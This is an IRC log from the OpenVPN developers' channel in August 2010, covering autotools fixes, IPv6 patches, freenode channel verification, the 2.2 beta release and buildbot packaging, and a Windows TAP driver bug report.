Right now, I'm building t_client.sh as part of the AC_OUTPUT() stanza (at the end of configure.ac) - that works, but it's not "+x"'ed 05:28 <@cron2> there must be some other configure.ac statement to tell it "run this through config.status and set +x" 05:28 <@dazo> hmm ... could you pastebin a diff of your work against the git tree? 05:29 <@cron2> ah 05:29 <@dazo> yeah, it usually is possible to do this, worst case as part of calling a macro which does it 05:29 <@cron2> found it, google is my friend :-) - it's basically this problem, and I'll try the solution right away... 05:29 <@cron2> http://www.mail-archive.com/automake@gnu.org/msg10203.html 05:29 < vpnHelper> Title: Re: executable scripts produced by AC_OUTPUT? (at www.mail-archive.com) 05:30 <@dazo> yeah, that looks like a working solution :) 05:30 <@cron2> *testing* 05:35 <@cron2> zomg 05:35 <@cron2> it works, but this is really weird - it doesn't generate Makefile rules but does it all inside config.status 05:55 -!- Netsplit *.net <-> *.split quits: kisom 05:56 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 05:58 <@dazo> cron2: yeah, it's a part of the autoconf generation, so the generation happens when running autoreconf ... Makefiles are generated by ./configure 05:59 -!- Netsplit over, joins: kisom 06:04 <@cron2> but the Makefile *does* have a rule to regenerate t_client.sh if needed 06:04 <@cron2> magic all over the place :) 06:04 <@cron2> whatever, patch has been sent to the list and pushed 06:05 < waldner> cron2: I don't want to sound too picky, but it looks like the script doesn't check for the presence of fping/fping6 in it ssanity checks 06:05 <@dazo> ahh ... yeah, autotools is a black pandoras box .... you think you know what you put into it, but the output is unpredictable 06:05 <@dazo> cool! 06:06 < waldner> perhaps that could be found by auto* magic too? 06:07 <@dazo> cron2: I've looked at your IPv6 patch for OpenBSD ... I'd love to give it an ACK (it looks sane), but then again, I have no OBSD experience so I don't know the real impact ... but if it takes time to get it ACKed, I'll setup a OBSD VM and try it out 06:10 * dazo anyways tries to focus on stuff for the beta release first ... planning to tag the tree today 06:15 <@cron2> waldner: indeed it doesn't. Need to think about this a bit more (don't want to hog configure with lots of stuff that's only relevant to the testing bit) 06:18 <@cron2> dazo: regarding the ACK for the IPv6 stuff: that would certainly be appreciated - but has time until after 2.2 beta is out - and then we need to find a way to get the "big" changes in, which take quite some effort to review 06:19 <@dazo> cron2: yeah, I had a little hope that maybe JJO could help out ... but its been very silent from him lately ... and we might have an issue with the multihome support breaking with his IPv6 transport patches as well 06:21 <@cron2> this is a different can of worms :) - I'll try to look into that, but have more pressing stuff in my own heap of worms 06:21 <@cron2> funny that the AS customers are not asking for IPv6 these days 06:23 <@dazo> yeah :) I'll pester JJO more ... and if there is no response, we need to find some one else to maintain those patches or to drop them until things are fixed .... so I'm happy you have focus and pay attention to what happens on the IPv6 payload side :) 06:23 <@dazo> I'm surprised re: AS customers as well ... but it might be we don't hear about it directly ... maybe James et. al. just waits for your stuff to be merged into 2.3 ;-) 06:27 < waldner> cron2: unfortunately in my experience the level of awareness of IPv6, at least in most environments, is still fastidiously low 06:27 < waldner> despite all the noise 06:27 <@cron2> heh :) (I'm happy if they use it, but it would good to get feedback from James et. al. whether the coding style is ok with them, whether the feature set is right, etc.) 06:27 <@cron2> waldner: yes, unfortunately. I've been fighting the windmills for a number of years now... 06:28 < waldner> heh, I can understand, I've done the same 06:28 < waldner> and in many cases you really get upset 06:29 < waldner> by the shortsightedness of people 06:29 <@dazo> "Why do things today which we can postpone for tomorrow?" ;-) 06:34 < waldner> I've seen cases where it would literally have been free 06:34 < waldner> get free addresses, all the OS and software supported IPv6, etc. 06:34 < waldner> but still no 06:35 < waldner> "ah, but they've been saying IPv4 is running out for years" 06:36 < waldner> another nice one is "ah, but our customers don't have IPv6 yet, so we can wait" 06:44 <@cron2> this sounds all quite familiar :) 06:53 <@dazo> the latter one is definitely the "greatest" answer :) 06:54 < ultramage> I have ipv6 (via tunnel) :) 06:55 < ultramage> and doesn't the tap approach have support for ipv6 traffic by default? 06:56 <@dazo> ultramage: tap does partly - but lacking ifconfig settings for ipv6 addresses via OpenVPN, if I've understood it correctly ... and cron2's work gives IPv6 on tun as well 07:01 < ultramage> nice :) 07:05 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 07:13 <@cron2> ultramage: with tap, you can run IPv6 as long as you run the ifconfig manually. same with point-to-point tun. with point-to-multipoint tun (server mode), IPv6 in 2.1 and 2.2 won't work because the routing code on the server side doesn't know what to do with the packets 07:14 <@cron2> my code does IPv6 pool on server, IPv6 assignment to client, automatic configuration of ifconfig+route and this sort of convenience stuff :-) 07:18 < ultramage> yeah, I guess with no support for ipv6 addresses in config files, it can get rather bothersome 07:19 < ultramage> good job there 11:12 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 11:14 -!- dazo is now known as dazo_afk 13:31 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:57 -!- chantra_hols is now known as chantra_afk 14:18 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:23 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:28 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:39 < ecrist> anyone with svn commit access around? 14:39 -!- Irssi: #openvpn-devel: Total of 15 nicks [5 ops, 0 halfops, 0 voices, 10 normal] 14:39 <@cron2> svn -> james (usually not) 14:39 < ecrist> like dazo_afk 14:39 <@cron2> git -> dazo 14:40 < ecrist> that's what I thought. 14:40 < ecrist> I'm trying to get #openvpn back, and it's proving non-trivial. 14:40 < ecrist> :\ 14:40 <@cron2> what happened to #openvpn? 14:42 < ecrist> long time ago, 2008 14:42 < ecrist> would like to get it back, so it can be an 'official' channel 14:43 <@cron2> ah. so what's needed for that? 14:43 < ecrist> an act of god, it seems 14:43 < ecrist> naw, they're asking for me to commit some file to SVN proving my relation to the project 14:44 < waldner> I never understood this freenode policy 14:44 < ecrist> it's BS, imho 14:45 < waldner> they also forced other channels to move 14:45 <@cron2> ecrist: who are you talking to? 14:45 < ecrist> RichiH 14:46 <@cron2> mmmh 14:46 < ecrist> cron2: you have git commit? 14:46 <@cron2> ecrist: no 14:46 < ecrist> blast 14:46 <@cron2> well, I have my own git repository, which dazo pulls from 14:46 < ecrist> no worries 14:47 * cron2 goes and hits richih with a big trout 14:47 < ecrist> that I have an openvpn.net email, and root on a server isn't good enough. 14:47 < ecrist> :\ 14:47 < ecrist> they can't find my name on the openvpn.net site, is the issue 14:48 < ecrist> and I don't have commit access 14:48 < ecrist> never mind I'm already the founder for * openvpn irc channels on freendoe 14:48 < ecrist> freenode* 14:48 <@cron2> gimme a minute 14:52 < ecrist> heh, openvpn.net lists that the PocketPC port is under dev (as of April 1, 2007) 14:55 <@cron2> ecrist: you run vpn-helper, do you? 14:56 < ecrist> yep 14:56 <@cron2> just wanted to be sure 14:56 < ecrist> it's krzee's bot, but in my basement 14:56 < ecrist> on krzee's server 14:59 <@cron2> which explains why I'm sometimes a bit confused who of you two is doing what :-) 14:59 <@cron2> (still discussing with richih - explained to him the whole situation with "the company" and "the community" and that we just have a lone committer for each repo...) 15:00 < ecrist> ah 15:00 < ecrist> if you haven't seen it: http://secure-computing.net/factoids.php 15:00 < vpnHelper> Title: SCN: vpnHelper Factoids (at secure-computing.net) 15:00 <@cron2> oh, nice 15:00 < ecrist> iirc, sans header/footer, that script is only ~23 lines of code 15:00 <@cron2> which language? 15:00 < ecrist> PHP 15:01 <@cron2> amazing 15:01 < ecrist> factoids is stored in sqlite 15:04 <@cron2> ok, I think the easiest way forward would be a mail from James to RichiH 15:04 <@cron2> and I think we could get mattock to push james to do so... 15:04 < ecrist> yeah, I already sent mattock an email, asking him to ask James to send the email. 15:06 <@cron2> RichiH explained why they are so difficult about it - there has been significant abuse with this in the past, so they want something that can be really tracked back to "the project" without any doubts 15:06 < ecrist> that's ok, we'll get it figured out 15:06 <@cron2> ... and given the confusion we have right now about "the company" vs "the community" this is not that easy, actually :-) - "who's dazo and what proves that his git repo is official?" 15:07 <@cron2> I think the mail thing will work 15:08 < ultramage> oh man, dealing with freenode... good luck with that 15:08 < ecrist> yeah, they're fun 15:08 < ecrist> it's interesting to note, I started this process initially two years ago 15:09 < ecrist> I've resubmitted the request twice after the initial. 15:09 < ultramage> I wonder, why would the administrator of a project have to make a svn commit of all things 15:10 < ultramage> probably something they made up on the spot 15:10 < ecrist> the issue here is, my name isn't attached to the official project or website anywhere 15:10 < ecrist> I understand what they're aiming for, but this is IRC, for crying out loud. 15:10 < ecrist> not like I'm trying to get an SSL certificate for their domain or something 15:10 < ultramage> well, if you have root, you could edit the webpage for a few minutes >:D 15:11 < ecrist> I offered that 15:11 < ecrist> 'servers are easily hacked' 15:11 < ultramage> and... why do they want a svn commit again? 15:11 < ecrist> though, they recognize I'm the freebsd openvpn-devel porter, and that I run the forums 15:12 < ultramage> isn't the server on the same machine? 15:12 < ultramage> or some other machine which is accesible from this machine? >> 15:12 < ecrist> I don't know, I only have root on a couple boxes. 15:12 < ultramage> oh, I see. 15:12 < ultramage> but if it was on the same box, the point would be moot... 15:12 < ecrist> indeed 15:13 < ultramage> but if it'd make them happy and feel good about their security policy, I'd be happy to give myself svn commit access for a minute or two 15:14 < ultramage> hope you can get it over with and not have to bother with it ever again 15:15 <@cron2> ultramage: no, we don't do that 15:16 < ultramage> did you know google code has a similar policy? if your repo name would conflict with a sourceforge project (how the hell is sf affiliated with google?), you have to be an administrator of the sf project... however, internally, it seems they use some undocumented access to fetch the founder's e-mail and use that instead 15:20 < ultramage> on a completely unrelated note - how difficult would it be to add support for client-client connections? :) 15:20 < waldner> isn't that supported already? 15:20 < ultramage> only by using the server as a relay 15:20 < waldner> yes 15:20 < ultramage> at least, in my test ;o 15:21 <@cron2> ultramage: hard 15:21 < waldner> well, in your way one of the client would need to run a server, as things are now 15:21 < ecrist> it's not feasible 15:21 < ultramage> I've tested one other vpn application, and they just relay a request from one client to the other via server, and the recipient just opens a connection to the sender 15:21 <@cron2> yes, but then you have to fiddle with all the nat and firewall crap 15:21 <@cron2> how does the client A know which is the external IP address of client B? 15:22 <@cron2> and how do you get the NAT to open a back channel? 15:22 <@cron2> it can be done, but it's lots of work 15:22 < ultramage> well, if the recipient is reachable, just open a direct connection; otherwise, ask the other client to open a connection back to you 15:22 <@cron2> and if neither is reachable? 15:22 < ultramage> and if that fails too, fall back to relaying through the server 15:23 < ultramage> that's what that app does 15:23 < waldner> they could both be behind NAT 15:23 < ultramage> yes, in that case it relays over the server... since both keep a live bidirectional connection to the server 15:23 < ultramage> (openvpn already supports this and only this) 15:23 <@cron2> and in addition, you need all the routing/event stuff to be handled on the client as well... 15:24 < ultramage> yes, it would require the client to be more than just "open socket, then talk on that socket" 15:24 < ultramage> there's a bunch of housekeeping to be done for this type of connection, timeouts and so on 15:25 < ultramage> would be an attractive feature, imo 15:25 <@cron2> well, for some :-) - the way we use openvpn, it would be completely unnecessary (we use it for access to the corporate network, and there is basically no client-to-client communication) 15:26 < ultramage> yeah... I use it to put my computers onto a single LAN and let them talk to each other 15:26 < ultramage> however the clients are in europe and the server is in canada, so every packet gets 200ms delay 15:27 < ultramage> which is why I deleted that setup almost immediately. 15:27 <@cron2> you could have one of them as relay for the others :) 15:27 < ultramage> none of them are reachable 15:27 <@cron2> ah 15:28 < ultramage> well, one of them is, the one I sit at, but that machine goes up and down every deay 15:28 < ultramage> one major issue I wanted to solve by having a 24/7 server is named 15:29 < ultramage> since it only re-binds once per hour, and records syslog errors everytime it fails to do that (for example, on a tap interface that's not connected yet) 15:30 < ultramage> alternatively I could find a machine that's closer, but it would still have to act as a common relay point and incur all that unnecessary traffic 15:30 < ultramage> getting this setup working right is an ongoing dilemma for me :) 15:31 <@cron2> you could ask yourself whether you really need that many unreachable machines :-) *duck&run* 15:31 < ultramage> well, so far I only have two :) 15:31 < ultramage> one of them is absolutely critical to me, since it acts as my router/gateway 15:32 < ultramage> openvpn doesn't have client-client connections, n2n is fragile and doesn't have mss clamping, hamachi can't survive a gateway change... but at least I learned a lot while experimenting with them ~ 15:33 <@cron2> making the router/gateway machine reachable from the outside and using that one as server doesn't work? 15:33 < ultramage> the problem is that it's not reachable from the outside unless I shell out 4 euro per month :P 15:34 <@cron2> gah 15:34 <@cron2> crippled internet access 15:34 * cron2 hates that 15:34 < ultramage> I've also got an ipv6 tunnel going on, but gogo6's server uptime and stability is questionable (and don't get me started on the client) 15:35 * cron2 likes he.net more, but has no idea what their tunnel service is like 15:35 < ecrist> their tunnel service is solid 15:35 < ultramage> he.net only supports public ip - to - public ip packet forwarding rules 15:36 <@cron2> ecrist: well, yes. What I wanted to say was "I don't know whether it has a tunnel client and can work behind a NAT" 15:36 < ultramage> it's nice though 15:36 < ultramage> none that I know of 15:38 < ultramage> and it's not good when your only means of reachability is a tunnel client that can arbitrarily say "Warning: lost connection to server. Info: Finished." (and it just exits) 15:38 <@cron2> well, run it from inittab / daemontools to get it auto-restarted :) 15:38 < ultramage> ;) 15:39 < ultramage> you just reminded me of something I'd rather forget --- Day changed Wed Aug 11 2010 00:35 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:42 -!- dazo_afk is now known as dazo 03:53 <@dazo> ecrist: if you can wait a few days until we've launched the 2.2 beta, I think we should be able to link you up better. The official pages will then point at the community pages somehow for the download ... and in the changelog for the beta2.2, you acked commit 22b055eb0888cefa86, which I committed ... and it is visible here http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=22b055eb0888cefa86e0 03:53 <@dazo> a6d4a34da6066873be45 03:53 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 03:53 <@dazo> further Samuli got an official openvpn.net mail address, so he should be able to confirm via e-mail as well 05:27 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 05:47 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 06:46 < ecrist> dazo: I've also got an official openvpn.net address, but that isn't good enough. 06:46 <@dazo> ecrist: gee ... that's amazing 06:47 < ecrist> yeah, it's a bit PITA 06:47 <@dazo> ecrist: they could kind of send something to that address and ask for the contents via another channel, and they would see if you received it or not 06:48 < ecrist> well, the other channel they suggested was an svn commit, since it was implicitly trusted. 06:49 <@dazo> yeah, only james can grant write access there ... I do have write access to a branch there, but that will go under my id 06:50 < ecrist> from last night: 06:50 < ecrist> if you can find either a committer to commit 684e83e6-882d-4a0e-b425-e89c80a2f3ad to some file that states that it is for freenode confirmation or get someone to confirm you... 06:50 < ecrist> I sent a message to mattock asking him to ask James to send them an email 06:51 <@dazo> yeah, probably better 06:52 < ecrist> it didn't matter that I have root on an openvpn.net box, that I had access to an openvpn.net email address, that I am founder for all openvpn irc channels, and I am a freebsd port maintainer for openvpn ports 06:52 <@dazo> if it takes time, I'll be happy to do such a commit to my SVN branch ... I can also create a separate git branch where I can do this commit too ... that git tree is hosted on sf.net and james and mattock are those who administers the openvpn project there 06:52 < ecrist> when we looked last night, the git repo on sf looked empty 06:53 <@dazo> you probably didn't look at the openvpn-testing.git ... but I can create openvpn.git too there, if you want that 06:53 <@mattock> a couple fixes to openvpn.net community section are in the pipe... adding link to build.openvpn.net will be trivial 07:05 <@dazo> mattock: ecrist: cron2: I've tagged the git tree ... I have not added anything extra, except changing version.m4. ... v2.2-beta1 is the tag to checkout 07:05 <@mattock> ok 07:05 * dazo pushed out the tag right now 07:06 <@mattock> has any of you tried building from the 2.2 beta tarballs? (http://build.openvpn.net/downloads/) 07:06 < vpnHelper> Title: Index of /downloads (at build.openvpn.net) 07:06 < ecrist> am I going to distribute the tarball for freebsd and debian, or is there going to be an official one on the openvpn site? 07:06 <@dazo> I believe mattock will provide the tarball and James will probably provide a signature for the tarball as well? 07:06 <@mattock> ecrist: buildbot is creating the "official" tarballs, which will be linked to from openvpn.net downloads page 07:06 < ecrist> ok 07:07 < ecrist> I'll get the openvpn beta port layed out today 07:07 <@mattock> I'm playing (again) with Debian packaging stuff, just got virtio on all of my kvm guests 07:07 <@dazo> mattock: I've not tried that yet ... but when you have new ones based on this tag, I'll update one of my servers (running as ovpn client 24/7) and run it there 07:08 <@mattock> dazo: ok 07:08 <@dazo> ecrist: beware that you should not do the version.m4 magic stuff in the beta port which you do in the devel port ... as that will modify the version.m4 07:08 <@dazo> version.m4 states 2.2-beta1 as the version, which is correct 07:09 < ecrist> nope, that's all done in the tarball 07:09 <@dazo> good! :) 07:09 < ecrist> since I'm not generating the tarball for beta, it's a moot point 07:09 <@dazo> ahh ... I didn't think that far :) 07:12 < ecrist> mattock - let me know when the properly tagged tarballs are in place and I'll test 07:13 <@mattock> ecrist: will do 13:48 -!- dazo is now known as dazo_afk 15:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] --- Day changed Thu Aug 12 2010 01:08 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:38 -!- dazo_afk is now known as dazo 01:58 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 02:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:47 <@dazo> cron2: Have you seen this one? http://sourceforge.net/tracker/?func=detail&atid=454719&aid=3043623&group_id=48978 06:47 < vpnHelper> Title: SourceForge.net: OpenVPN: Detail: 3043623 - BSOD hangs when is TAP- enabled. Hyperthreaded or dual core. (at sourceforge.net) 06:47 <@dazo> mattock: ^^ might be worth considering for todays meeting 06:53 < ecrist> mattock - planning on migrating the database around 7am CDT tomorrow (1300 UTC), shutting down the current forum this evening for the upgrade in prep for the move 07:04 <@cron2> dazo: haven't seen that. Is that recent? What OS? 07:04 <@dazo> cron2: WinXP SP3 07:05 <@dazo> and POSReady 2009 (probably some Windows Embedded stuff?) 07:07 <@cron2> this doesn't look good. my windows machine is oooold and only has a single core :( 07:07 <@cron2> now the interesting question: does this happen for the 2.1 tap driver or for the ipv6-patched? as he talks about "precompiled driver", I'd assume it's the 2.1 one... 07:10 <@dazo> I believe it is the stock 2.1 TAP driver 07:10 <@dazo> but this is something to put on our radar anyway 07:11 <@cron2> yep 07:12 <@cron2> this was a bit self-defense "if it happens with stock 2.1, it's not something that automatically goes to *my* plate" :) 07:18 <@dazo> nope ... I was just more curious if you had seen it :) 07:19 <@cron2> I check the trackers only infrequently, too much other stuff going on. But maybe I should start doing so... 07:19 <@cron2> btw, I'm not sure whether I can make tonight's meeting - appointment at 5:30 local time (2.5h before meeting) and I don't know yet how long that will take 07:23 <@mattock> dazo: I'll add that to the agenda 07:23 <@dazo> mattock: thx! 07:23 <@mattock> ecrist: ok, I'll be ready then 07:24 <@dazo> cron2: I am only monitoring them ... so I get mails whenever something happens .... (and with imapfilter, it gets filtered to its own imap folder anyway :) 07:24 <@dazo> mattock: did you have time to look at a packaging 2.2-beta1? 07:25 <@mattock> yep, but the setup is so complex that my brain hurts... 07:25 <@mattock> basically I got everything I need to build debian packages... and I did test that it works in principle 07:25 <@mattock> but each OS / architecture requires some changes to the debian control files, which have to be autogenerated 07:26 <@mattock> things like version numbering that dpkg can understand 07:26 < ecrist> mattock: on the download page, can you mention that betas will be available in ports tree, or as a package for freebsd? 07:27 <@mattock> today I'll write a script that buildbot will use to push automated builds to build.openvpn.net/downloads//openvpn-something-.tar.gz 07:27 <@dazo> mattock: I was mostly thinking about the tarballs ;-) 07:27 <@mattock> ecrist: I can add that to openvpn.net page, yes 07:27 <@mattock> dazo: yes 07:27 <@mattock> http://build.openvpn.net/downloads/ 07:27 < vpnHelper> Title: Index of /downloads (at build.openvpn.net) 07:28 <@dazo> mattock: size 0 ? 07:28 <@mattock> oops 07:28 <@mattock> that's why I'm writing the script, I guess :) 07:28 <@dazo> heh :) 07:28 <@mattock> something has gone wrong on the second run 07:29 <@mattock> I'll make sure the script does not overwrite old downloads if it can't create new ones 07:29 <@mattock> that should take care of these size 0 downloads 07:29 * dazo just compressed the -testing git tree ... had grown to 4.9MB ... after git gc --aggressive its down to 2.1MB 07:30 <@mattock> lots of garbage 07:31 <@dazo> heh ... well, all commits and tags becomes separate files ... but with the compression, they are moved into a single pack file, which can be compressed better ... but then again also transferred quicker on clone/fetch/pull 07:34 <@mattock> any other topics we should discuss today? 07:34 <@mattock> besides dazo's suggestion 07:35 <@dazo> just a sync-up in re: to the beta release tomorrow 07:36 <@mattock> yep 07:38 <@dazo> mattock: we also need to set a deadline for the next beta release 07:40 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-08-12 07:40 < vpnHelper> Title: Topics-2010-08-12 – OpenVPN Community (at community.openvpn.net) 07:40 <@mattock> dazo: do we want a second beta release, or only weekly snapshots and later on the first rc? 07:40 <@mattock> or daily snapshots 07:40 <@mattock> buildbot does not care 07:41 <@dazo> mattock: I would say we should have more beta releases, to have something more stable to relate to 07:41 <@dazo> floating beta's are a mess to manage 07:41 <@mattock> ok, then I don't think building the beta releases with buildbot is especially useful 07:41 <@mattock> however, snapshots from allmerged would be 07:41 <@dazo> daily/weekly snapshots are much more useful on the allmerged branch 07:42 <@dazo> yeah 07:42 <@mattock> ok then, I'll reprioritize, then :) 07:42 <@dazo> :) 07:43 <@dazo> hmm ... well, it's nothing bad having buildbot building the beta branch regularly ... but we would want our beta users to mainly use the beta releases, as that is easier to catch trends in error reports 07:44 <@dazo> and if something have been fixed and not been released yet, we can ask them to try the latest beta build, to see if that fixes it .... but that the beta releases are the "entry point" for starting the testing 07:44 <@dazo> (beta testing, that is) 07:44 <@mattock> we could have a daily beta snapshots available on build.openvpn.net, but primarily offer the "official" beta builds directly from openvpn.net download pages 07:44 <@mattock> the beta 2.2 snapshots could be under "OpenVPN snapshots" or "Other downloads" or something 07:45 <@dazo> yeah! 07:45 <@dazo> under "OpenVPN snapshots", I would say 07:45 <@mattock> a little hidden, so that there's not too much exposure to them 07:45 <@dazo> you read my mind :) 07:45 <@mattock> ok, let's do that then, unless somebody objects :) 07:46 < ecrist> mattock - is buildbot going to use the tarball I'm generating weekly, or its own? 07:47 <@dazo> we can quickly discuss (read: mention) this on the meeting today ... and of nobody objects, that's our plan :) 07:47 <@mattock> ecrist: it checks out the latest sources directly from git 07:47 < ecrist> when/how often are those generated? 07:48 <@mattock> currently once a day 07:48 <@mattock> but the builds could be triggered by a commit also 07:49 < ecrist> ah, ok 08:07 <@mattock> ok, my openvpn.net edits are now online: 08:07 <@mattock> http://openvpn.net/index.php/open-source/overview/245-community-open-source-software-overview.html 08:07 < vpnHelper> Title: Community Software Overview (at openvpn.net) 08:08 <@mattock> http://openvpn.net/index.php/open-source/overview/345-openvpn-project.html 08:08 < vpnHelper> Title: OpenVPN project (at openvpn.net) 08:20 <@mattock> does this filename look ok: openvpn-2.2-beta-20100812.tar.gz 08:20 <@mattock> and similarly: openvpn-2.2-allmerged-20100812.tar.gz 08:30 < ecrist> mattock: perhaps you should remove the pocketpc port? 08:30 <@mattock> which page? 08:30 < ecrist> 1) it's irrelevant now, 2) it's OLD, and out of date 08:30 < ecrist> the page you linked above, 245 08:31 <@mattock> ok, I'll fix it right away 08:32 < ecrist> thanks man 08:36 <@dazo> mattock: for the regular builds, that makes sense .... but I do have a script which updates the version.m4 with a commit ID of the current checked out git head ... it could be a good idea to add that as well 08:36 <@dazo> (it just needs 8-12 bytes, then we're pretty safe) 08:38 <@mattock> dazo: does that affect the filename when doing "make distcheck" or "make dist-zip"? 08:38 <@dazo> for releases - openvpn-2.2-beta1.tar.gz makes sense ... as openvpn-2.2-rc1 and the final one as openvpn-2.2.0 08:38 <@dazo> mattock: yes, it does 08:38 <@mattock> what does "make distcheck" output, then? 08:39 <@mattock> agreed, for the releases the date part is irrelevant and confusing 08:40 <@dazo> it will output package-name+version+extension .... I believe the package name is defined by AC_INIT() or AM_INIT_AUTOMAKE() in configure.ac ... and the version part is from version.m4 08:40 <@dazo> so we need to hack more on the bootstrap.sh script which you will find in the allmerged branch 08:42 <@dazo> The current magic happens like this: 08:42 <@dazo> GIT_VERSIONM4=$(git ls-tree master version.m4 | awk '{print $3}') 08:42 <@dazo> git cat-file blob ${GIT_VERSIONM4} | \ 08:42 <@dazo> sed "s#define(PRODUCT_VERSION,\[.*\])#define\(PRODUCT_VERSION,\[testing-${GIT_REV}]\)\]#" > version.m4 08:42 <@mattock> argh... joomla is playing tricks on me... can't remove the pocketpc port stuff 08:42 <@mattock> -> todo list 08:42 <@dazo> and there you see I prefix the commit ID with testing- 08:43 <@dazo> so the output here will f.ex. be: openvpn-testing-68a4a84daaeb.tar.gz 08:43 <@dazo> (the output from make distcheck) 08:53 <@mattock> ok, so buildbot should start producing output like this: http://build.openvpn.net/downloads/ 08:53 < vpnHelper> Title: Index of /downloads (at build.openvpn.net) 08:53 <@mattock> one directory per branch 08:54 <@mattock> I'll do the same for "allmerged", although having the commit ID in the filename makes sense 08:54 <@mattock> for now, I'll use date 08:56 <@dazo> mattock: goodie 08:57 <@mattock> I'll just integrate that stuff with buildbot and we're set 10:06 < chantra_afk> dazo: mattock not sure i can make it to meeting tonight, but can https://community.openvpn.net/openvpn/ticket/29 be reviewed? 10:06 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN Community (at community.openvpn.net) 10:06 <@mattock> chantra: ok, I'll add it to the agenda 10:07 < chantra_afk> yeah, if I can get feedbacks/leads if the patch is not satisfactory, so I can improve it 10:07 <@mattock> oh, it's already there... 10:08 <@mattock> or I double-clicked the submit button :) 10:08 < chantra_afk> it was sent to ML, but I did not get much feedback 10:08 < chantra_afk> yeah, it is now :) 10:11 <@dazo> I had this one on my review list ... I just have been swamped with other things lately ... it can be tagged to me, unless somebody else are willing to give an ACK quicker ... at first glance it looks good, but there are some details I remember I needed/wanted to study closer 10:13 < chantra_afk> dazo: k 10:13 < chantra_afk> if these details come back to mind, through them in :) 10:13 * chantra_afk swamped too 10:13 <@dazo> chantra_afk: sure will :) 10:13 < chantra_afk> bloody holiday period 10:13 < chantra_afk> feel the lack of resources at work :) 10:13 <@dazo> heh 10:14 <@dazo> we're preparing for a restricted beta release at work ... with a complete kernel rebase ... quite some tests to run and check :) 10:16 <@cron2> heh 10:16 * cron2 feels the lack of resourced caused by $child :) 10:16 <@dazo> cron2: that sounds like a luxury problem ;-) 10:16 <@cron2> dazo: in some way, it is, yes 10:17 <@dazo> :) 10:51 -!- dazo is now known as dazo_afk 11:08 <@mattock> behold, first automated beta2.2 tarballs and zips with the new, way improved script: http://build.openvpn.net/downloads/2.2-beta/ 11:08 < vpnHelper> Title: Index of /downloads/2.2-beta (at build.openvpn.net) 11:09 <@mattock> the script should never destroy old downloads, create duplicates or anything 11:09 <@mattock> we'll see how it goes 11:10 <@mattock> however, the script (or rather, one buildbot buildstep) break instantly if "make distcheck" and "make dist-zip" generate files with different names 11:10 <@mattock> =if the filename changes suddenly 12:22 <@cron2> mattock: congrats :) 12:24 <@mattock> I'm tweaking the script some more... to compare it's sha1sum to existing files, so that build.openvpn.net does not get filled with same files with different timestamps 12:25 <@mattock> I was thinking of adding some "magic" to the "copy from build directory to staging area" part so that it won't break if version.m4 is edited 12:41 -!- ultramage [umage@kurobara.netvor.sk] has left #openvpn-devel ["keep up the good work"] 12:49 <@mattock> checksum stuff ready 12:52 -!- dazo_afk is now known as dazo 13:05 <@cron2> so, meeting now? 13:05 <@mattock> yep, just mailing james :) 13:06 <@mattock> ok, sent 13:06 <@mattock> let's start 13:06 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-12 13:06 < vpnHelper> Title: Topics-2010-08-12 – OpenVPN Community (at community.openvpn.net) 13:07 <@mattock> perhaps we could start with the two bugs? 13:07 <@mattock> maybe this one: https://sourceforge.net/tracker/?func=detail&atid=454719&aid=3043623&group_id=48978 13:07 < vpnHelper> Title: SourceForge.net: OpenVPN: Detail: 3043623 - BSOD hangs when is TAP- enabled. Hyperthreaded or dual core. (at sourceforge.net) 13:08 <@mattock> ok, so "Posready" is some sort of Windows Embedded OS: http://www.microsoft.com/windowsembedded/en-us/products/readyproducts/posready/default.mspx 13:09 < vpnHelper> Title: POSReady Overview | Embedded POS | Point of Service (at www.microsoft.com) 13:10 <@mattock> any comments on this one? I don't think there's near enough information to fix this 13:11 <@dazo> This one needs James' eyes, as he (hopefully) knows the tap code pretty well ... and we need to see on what hardware it has been tested 13:11 <@mattock> yep... some excentric Windows Embedded -based OS does not sound like our main target... though I could be wrong 13:11 <@cron2> indeed, this sounds like some sort of race condition - but as far as I remember, the tap driver properly locks things etc. 13:11 <@cron2> mattock: but he says it happens on WinXP as well 13:11 <@dazo> but the issue was also found on..... cron2 was quicker 13:11 <@mattock> cron2: oh yes 13:12 <@mattock> sorry, didn't notice 13:12 <@mattock> I guess we have some XP users :) 13:12 <@dazo> a few, I've heard ;-) 13:12 <@mattock> shall we move on and hope that James pops in later? 13:13 <@dazo> yupp 13:13 <@cron2> is one of you using windows XP on a dual-core machine? shouldn't be that unusual 13:13 <@mattock> ok: https://community.openvpn.net/openvpn/ticket/29 13:13 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN Community (at community.openvpn.net) 13:13 <@cron2> (my laptop is too old, though, single-core only) 13:13 * dazo only got access to a vista installation on a dual core 13:13 <@mattock> I have a Core Duo Macbook (2006), but I don't have Windows on it 13:15 <@dazo> the push-reset patch is generally looking good ... but there are a few things which I'm wondering about ... just wondering if the patch tries to be too smart 13:15 <@cron2> *looks at patch* 13:15 <@cron2> mmmh 13:15 <@cron2> dislike 